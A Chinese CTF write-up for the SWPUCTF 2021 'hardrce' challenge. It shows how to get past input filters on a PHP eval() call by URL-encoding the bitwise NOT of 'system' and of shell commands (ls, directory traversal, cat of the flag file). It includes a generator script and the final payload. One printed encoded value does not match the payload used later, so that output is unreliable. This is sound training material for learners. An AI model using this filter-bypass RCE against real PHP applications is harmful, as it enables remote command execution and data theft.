[SWPUCTF 2021 新生赛] hardrce wp
Hello 大家好 ! 今天分享的是 swpu的新生赛的一道rce题目的wp 感兴趣的小伙伴可以在 题目入口进去进行尝试 !!!
题目分析:
分析代码:
首先传入参数 wllm 很明显可以看到 函数 eval($wllm) . 一眼 rce 我们可以利用 system(); 函数来执行命令 , 不过可以看到有两次 过滤
题目解决:
可以利用取反绕过 思路 首先构造 payload
<?php
$a="system";
$a=urlencode(~$a); // ~ 取反写法
$b="ls";
$b=urlencode(~$b);
echo $a."\n".$b;
?>
得到 %8C%86%8C%8B%9A%92 %9C%9C%9E%8B%DF%D0%99%D5 可以查看题目php 是php7以上的 可以用('phpinfo')(); 这种来执行phpinfo函数
由此我们可以这样构造 ?wllm=(~%8C%86%8C%8B%9A%92) (~%93%8C); 查看当前目录下的文件 最后可以利用目录穿越 查找到flag的文件最后读取
//修改代码中的 $b
$b="ls ../../../";
继续构造 直接读取flag
//修改代码中的 $b
$b="cat ../../../flllllaaaaaaggggggg"
总结:
本题总体来讲还是比较简单的 主要就是考察rce 绕过 不过也给新入门的小伙伴提供了一个新思路 就是无字母的rce 可以进行绕过 例如 异或 取反 自增自减等 Orz 感谢大家阅读。